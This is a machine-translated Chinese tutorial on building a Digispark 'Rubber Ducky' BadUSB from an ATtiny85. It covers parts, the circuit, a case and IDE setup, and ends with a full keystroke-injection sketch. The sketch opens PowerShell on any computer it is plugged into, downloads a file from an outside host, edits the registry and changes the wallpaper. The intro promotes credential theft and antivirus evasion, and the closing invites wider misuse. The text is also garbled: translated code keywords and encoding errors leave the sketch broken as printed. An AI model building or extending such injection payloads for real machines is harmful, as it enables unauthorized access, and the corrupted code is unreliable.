USB Rubber Ducky 或 Bad USB 是一種著名的攻擊工具,它看起來像 USB 筆式驅(qū)動(dòng)器,但在插入任何未鎖定的設(shè)備時(shí)就像鍵盤一樣。USB Rubber Ducky允許攻擊者對(duì) USB 設(shè)備中的微控制器進(jìn)行編程以執(zhí)行各種任務(wù)。它可以通過編程將擊鍵和二進(jìn)制文件注入系統(tǒng),獲取緩存的密碼以破解系統(tǒng),竊取受害者的基本和憑證數(shù)據(jù),并可以將橡皮鴨有效載荷注入受害者的系統(tǒng)。USB Rubber Ducky 最重要的特點(diǎn)是它無法被任何防病毒或系統(tǒng)防火墻檢測(cè)到,因?yàn)樗洚?dāng) HID 設(shè)備。
USB Rubber Ducky 并非在每個(gè)國家都容易買到,而且價(jià)格也非常昂貴。所以在這個(gè)項(xiàng)目中,我們將使用 ATtiny85 微控制器 IC構(gòu)建一個(gè)Digispark Rubber Ducky 。該項(xiàng)目由兩部分組成,第一部分是在 ATtiny85 IC 上上傳引導(dǎo)加載程序,第二部分是將 USB 型公連接器與 ATtiny85 連接。
構(gòu)建 USB Rubber Ducky 所需的組件
閣樓85 IC
USB A型插頭公
3 個(gè)電阻器(2×47Ω 和 1×1 KΩ)
3個(gè)二極管(2×齊納二極管和1×IN5819二極管)
8 針 IC 底座
性能板
連接電線
USB橡皮鴨電路圖
ATtiny85 Rubber Ducky USB的原理圖如下所示。
R3 是一個(gè)上拉電阻,連接在 IC 的 Vcc 和 PB3 引腳之間,同時(shí)添加了齊納二極管 (D1-D2) 以提供全面的 USB 接口保護(hù)。這些保護(hù)二極管不是必需的,因此如果您想構(gòu)建比這更緊湊的電路,可以將它們移除。
注意:需要在 ATtiny85 上上傳引導(dǎo)加載程序才能使用 USB 對(duì)其進(jìn)行編程。因此,請(qǐng)按照我們之前關(guān)于如何通過 USB 對(duì) ATtiny85 IC 進(jìn)行編程的教程進(jìn)行操作。
在 perf 板上焊接所有組件后,它將如下所示:
ATtiny85 USB 3D 打印外殼
接下來,使用游標(biāo)測(cè)量設(shè)置的尺寸以設(shè)計(jì)外殼。完成后,我的設(shè)計(jì)看起來像這樣:
對(duì)設(shè)計(jì)滿意后,我將其導(dǎo)出為 STL 文件,根據(jù)打印機(jī)設(shè)置對(duì)其進(jìn)行切片,最后打印出來。STL 文件也可以從 Thingiverse 下載,您可以使用它打印自己的外殼。
打印完成后,我繼續(xù)將項(xiàng)目組裝在一個(gè)永久性的外殼中以備將來使用。完成連接后,我將電路組裝到我的外殼中,如下所示,一切都非常合適。
安裝 Digispark 驅(qū)動(dòng)程序
要使用 USB 對(duì) ATtiny85 進(jìn)行編程,您必須在筆記本電腦上安裝 Digispark 驅(qū)動(dòng)程序。如果您沒有它們,您可以通過單擊鏈接 Digispark Drivers下載它。然后,解壓縮 zip 文件并雙擊“ DPinst64.exe ”應(yīng)用程序以安裝驅(qū)動(dòng)程序。
成功安裝驅(qū)動(dòng)程序后,將 ATtiny85 板插入筆記本電腦。現(xiàn)在,轉(zhuǎn)到設(shè)備管理器,您的設(shè)備將在“l(fā)ibusb-win32 設(shè)備”下列為“Digispark Boot-loader”。如果您在設(shè)備管理器中找不到“l(fā)ibusb-win32 設(shè)備”,請(qǐng)轉(zhuǎn)到“查看”并單擊“顯示隱藏的設(shè)備”。
設(shè)置 Arduino IDE
要使用 Arduino IDE 對(duì) ATtiny85 板進(jìn)行編程,首先,我們需要將 Digispark 板支持添加到 Arduino IDE。為此,請(qǐng)轉(zhuǎn)到文件 》 首選項(xiàng)并在 Additional Boards Manager URL 中添加以下鏈接,然后單擊“確定”。
http://digistump.com/package_digistump_index.json
之后,轉(zhuǎn)到工具 》 板 》 板管理器并搜索“Digistump AVR”并安裝最新版本。
安裝后,您將能夠在 Board 菜單中看到一個(gè)名為‘Digispark’的新條目。
為 Rubber Ducky USB 編程 ATtiny85
安裝驅(qū)動(dòng)程序并設(shè)置 Arduino IDE 后,現(xiàn)在我們將對(duì) ATtiny85 進(jìn)行編程以下載圖像并通過 Windows PowerShell 將其設(shè)置為墻紙。完整的腳本在文檔末尾給出;在這里,我們將解釋腳本的一些重要命令。
因此,通過包含“?DigiKeyboard.h?”庫來啟動(dòng)代碼。DigiKeyboard 庫使 ATtiny85 能夠通過其 micro 的本機(jī) USB 端口將擊鍵發(fā)送到連接的計(jì)算機(jī)。
?
#include "DigiKeyboard.h"
?
然后在循環(huán)功能中,發(fā)送一個(gè)按鍵以顯示桌面(Windows+ D),一段時(shí)間后,通過發(fā)送一個(gè) Windows+ R 按鍵打開運(yùn)行對(duì)話框。
?
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
?
然后使用DigiKeyboard.print()?函數(shù)轉(zhuǎn)到 Windows Powershell。
?
DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
?
現(xiàn)在在 Powershell 中,使用System.Net.WebClient類下載 Internet 數(shù)據(jù)。
?
DigiKeyboard.print("$client = new-object System.Net.WebClient"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
?
然后在下一個(gè)命令中,輸入帶有文件名(hacker.jpg)的圖像地址,以將其保存在您的筆記本電腦上。
?
DigiKeyboard.print("$client.DownloadFile("https://cdn.hipwallpaper.com/i/50/39/7r5nC6.jpg" , "hacker.jpg")"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
?
然后在接下來的幾行中,打開控制面板并將下載的圖像設(shè)置為墻紙。
?
DigiKeyboard.print("reg add "HKCU\\Control Panel\\Desktop" /v WallPaper /d "%USERPROFILE%\\hacker.jpg" /f"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
?
測(cè)試 ATtiny85 Rubber Ducky
完成這些步驟后,創(chuàng)建一個(gè)新草圖并在 IDE 中復(fù)制和粘貼給定的代碼。然后選擇“ Digispark (Default – 16mhz) ”作為板卡類型并點(diǎn)擊左上角的上傳按鈕。草圖將被編譯,然后 Arduino IDE 將提示您在 60 秒內(nèi)插入 ATtiny85 USB。
插入 ATtiny85 USB 后,Arduino IDE 會(huì)將代碼上傳到微控制器,然后執(zhí)行微控制器給出的命令來更改筆記本電腦的壁紙。這只是 USB Rubber Ducky 工作原理的一個(gè)示例,但可以通過它完成很多事情。我會(huì)讓你的想象力解決這個(gè)問題!
#include "DigiKeyboard.h"
無效設(shè)置(){
//空的
}
無效循環(huán)(){
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client = new-object System.Net.WebClient");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client.DownloadFile("https://images.alphacoders.com/156/156893.jpg" , "hacked3.jpg")");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("reg add "HKCU\\Control Panel\\Desktop" /v WallPaper /d "%USERPROFILE%\\hacked3.jpg" /f");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("退出");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*空*/ }
}
評(píng)論